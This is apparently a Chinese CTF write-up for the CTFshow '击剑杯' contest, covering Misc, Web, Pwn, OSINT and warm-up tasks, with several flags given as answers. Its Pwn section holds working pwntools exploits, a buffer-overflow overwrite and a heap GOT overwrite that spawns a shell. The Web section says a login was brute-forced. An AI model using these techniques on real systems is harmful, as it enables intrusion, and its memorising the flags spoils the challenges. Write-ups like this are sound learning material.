CTFshow 击剑杯 部分WP
作者:互联网
摆烂了摆烂了 太难了
聪明的师傅已经组队打起月赛了
试试能不能苟住前5
苟住了 复现的后面再补充吧
文章目录
1.Misc
麻麻的 只会一题 其他的等复现再补充吧
中文识别带师
挺好玩一个题 格局打开
linux nc进环境(注意进来别用win的netcat连 不然你就会像下面那样 因为utf-8的环境会乱码)
连进去后 就认字 一炷香十个字还是蛮久的
我的解法是用手机或者电脑手写板 手写出字后百度百科查注音与笔画(这把的答案是带音调的 cv过去就行了)不过 积累与特征也能做)
出题师傅的自动解法的话参考官方wp 挺复杂的 所以再次格局打开
2.Web
简单的验证码
非预期解了 耳朵听验证码 手爆登录名密码 试到admin young就出了
easyPOP
好像这题也是爆非预期了 yue天痛哭
不会 暴打队里的web爷做出来的
官解很详细 不想写
3.Pwn
pwn01-My_sword_is_ready
签到题 就最简单的变量覆盖
直接丢payload了
from pwn import *
p = remote("pwn.challenge.ctf.show", 28171)
payload = b'a'*36+p32(222)*3
p.recvuntil('Come and jj with bit!\n')
p.sendline(payload)
p.interactive()
pwn02-Precision_and_grace
house of force
payload:
from pwn import *
context.log_level = "debug"
p = remote('pwn.challenge.ctf.show', 28088)
elf = ELF("./pwn03-Precision_and_grace")
libc = ELF("/home/hackerbc/64bitbc-2.27.so")
def create(size, content):
p.sendlineafter(" :", "1")
p.sendlineafter(" : ", str(size))
p.sendlineafter(":", content)
def edit(idx, content):
p.sendlineafter(" :", "2")
p.sendlineafter(" :", str(idx))
p.sendlineafter(" : ", content)
def show(idx):
p.sendlineafter(" :", "3")
p.sendlineafter(" :", str(idx))
def delete(idx):
p.sendlineafter(" :", "4")
p.sendlineafter(" :", str(idx))
def getBase():
create(0x20 - 0x8, "0")
create(0x10, "1")
edit(0, "a" * 0x18 + p8(0x41))
delete(1)
payload = p64(0) * 4 + p64(0x30) + p64(elf.got["atoi"])
create(0x30, payload)
show(1)
libcBase = u64(p.recvuntil("\x7f")[-6: ].ljust(8, "\x00")) - libc.symbols["atoi"]
success("libcBase -> {:x}".format(libcBase))
return libcBase
def getShell(libcBase):
systemAddr = libcBase + libc.symbols["system"]
edit(1, p64(systemAddr))
p.sendlineafter(" :", "$0")
if __name__ == "__main__":
getShell(getBase())
p.interactive()
4.Osint
ak了ak了 ak的我有点难受 题目是不难 有手就行 但是有一堆知识盲区 噶住了
英语阅读
签到题 但是是很有格局的一道题目
题目信息关键词是考研英语 偶像 OSINT
正常搜索大概率是搜索不到的 换成osint的英文全称(Open source intelligence)结合考研英语阅读 搜索到原文为03年的考研英语阅读题
flag的答案的人名是osint鼻祖,米国中情局创始人 所以题目中才说的是偶像
ctfshow{Bill_Donovan}
这是哪里
题目信息 对当地影响深远的学者 全图搜索不好搜 那就截取部分图片信息进行搜索
有可能会搜到这个:
但是进一步搜索可知 因为是学者 所以可以查找到此人为黄道周先生 所处位置是漳州东山黄道周公园 谷歌地图查找经纬度 后期flag改为四位数字了 更好找一点避免歧义
ctfshow{23.7353_117.5125}
卡鲁铁盒
俺出的 可能港口名称这边会卡掉几个人 其实本质也是出个签到题加上看看有没有师傅直接交原题的flagorz
聪明的师傅可能已经找到了这个图的原题 没错 是原题 但是不是复现 毕竟csc number已经改掉了
附件是一个集装箱照片,车牌打码了 搜图也无法搜出图片来源
图中有效信息仅有右上角数字
集装箱编号因为问的是集装箱 所以卡车信息与集装箱无关联
这里引入一个新的概念叫做CSC编号Convention for Safe Containers国际集装箱安全公约 每个集装箱都有独一无二的号码
而显然右上角数字并不是集装箱的CSC编号(谁出题出这么简单啊)
你需要找到一个网站:https://www.track-trace.com/来查询这个集装箱的信息:
便可得到集装箱的CSC编号与退役港口名称
ctfshow{FBV854404_ROTTERDAM}
人家想玩嘛
太难了太难了 后面这两题要噶了
yandex识图可以找到拍摄地点与附近的全景
找到附近全景图
题目描述 未拍摄到的娱乐项目 喷泉跟哈尔法塔可以排除掉了 全景放大发现这个
谷歌搜索可得知当地的增值税为5% 同时在官网票价可以找到票价为
于是 算下税前 95% 取整一下
ctfshow{LAKE_RIDE-65-5%}
人有点多
yandex识图、谷歌识图、直接翻译日文等等可以找到店名是BIC_CAMERA(之前做日本osint的老主顾了 涉谷附近的店)
从官网可得知电话等信息 包括
出口编号为B2 但是这个前面的数字 emmm 我也不太清楚本地人是否有这种命名方式 在这里可以找到地址
所以是10号(其他地方也能找到) 最近的停靠线编号的话Wikipedia 搜索副都心线
最终得到flag
ctfshow{BIC_CAMERA-1111-10B2-F16}
小城美食
百度识图或者积累与特征可以找到为盗月社的某期视频视频链接
6分40多时候出现了这个
高德地图搜索
ctfshow{浙江省衢州市柯城区龚家埠头村28号}
安装arph
不知道预期解是啥 等t佬补充
b站视频搜索arch安装 视频一个一个看 通过对比字幕与视频背景 拿到bv号
ctfshow{BV1e3411B79M}
5.热身
听歌识曲
从ztop师傅那得知有个东西叫网易见外工作台 可以听歌识曲
或者耳朵梭知道歌曲为blueberry hill
然后我是去YouTube找的。。
大帝的这个版本 百度百科找全名
ctfshow{Vladimir_Vladimirovich_Putin}
看图识妹
手撸能撸出来 但是很累 贴一下yuntian师傅的脚本 7佬的那个脚本也tql
import os
import glob
from PIL import Image
import cv2
import numpy
import base64
import requests
def thumbnail_pic(path):
a=glob.glob(r'./1/1.jpg') #当前路径创建一个叫1的文件夹放1.jpg这个图片
for x in a:
name=os.path.join(path,x)
im=Image.open(name)
im.thumbnail((im.size[0]//10,im.size[1]//10))
im.save(name[:-4]+"_1.png",'PNG')
def pipei(target,template):
target = cv2.imread(target)
template = cv2.imread(template)
theight, twidth = template.shape[:2]
result = cv2.matchTemplate(target,template,cv2.TM_SQDIFF_NORMED)
min_val, max_val, min_loc, max_loc = cv2.minMaxLoc(result)
cv2.rectangle(target,min_loc,(min_loc[0]+twidth,min_loc[1]+theight),(0,0,225),20)
strmin_val = str(min_val)
temp_loc = min_loc
other_loc = min_loc
numOfloc = 1
threshold = 0.000001
loc = numpy.where(result<threshold)
for other_loc in zip(*loc[::-1]):
if (temp_loc[0]+5<other_loc[0])or(temp_loc[1]+5<other_loc[1]):
numOfloc = numOfloc + 1
temp_loc = other_loc
cv2.rectangle(target,other_loc,(other_loc[0]+twidth,other_loc[1]+theight),(0,0,225),20)
str_numOfloc = str(numOfloc)
x = other_loc[0]
y = other_loc[1]
x_list = "0123456789"
y_list = "ABCDEFGHIJKLMNOPQRST"
point = y_list[(y-50)//75]+x_list[(x-50)//50]
#print(point)
return point
def url_post(url_1,url_2):
session=requests.session()
url_1 = url_1
url_2 = url_2
proxies = {'http': 'http://localhost:8080','https': 'http://localhost:8080'}
cookies=""
session=requests.session()
for i in range(0,102):
req_1 = session.get(url=url_1,cookies=cookies)
if r"ctfshow" in req_1.text:
print(req_1.text)
break
imgdata = base64.b64decode(req_1.text[169:-140])
file = open('./1/1.jpg','wb') #也是上面1文件夹
file.write(imgdata)
file.close()
path='.'
thumbnail_pic(path)
point = pipei("./all (2).png","./1/1_1.png") #第一个是需要匹配的图片,就是100个图片在一起的,后面是thumbnail_pic函数改名的
data = {
"meizi_id" : point
}
req_2 = session.post(url=url_2,data=data)
req_2 = session.get(url=url_1,proxies=proxies)
jar = requests.cookies.RequestsCookieJar()
cookies = requests.utils.dict_from_cookiejar(session.cookies)
print(i)
print("=============")
print(cookies)
url_post("http://8f4d8fc8-f5bc-4dcf-93a3-b5233658f3f4.challenge.ctf.show/start","http://8f4d8fc8-f5bc-4dcf-93a3-b5233658f3f4.challenge.ctf.show//check")#修改url
进群得码
群主设置了陷阱hhh
群里喊一声 击剑杯签到即可
ctfshow{this_is_real_flag_jjcup}
标签:loc,击剑,min,WP,ctfshow,sendlineafter,import,def,CTFshow 来源: https://blog.csdn.net/Nancy523/article/details/121303789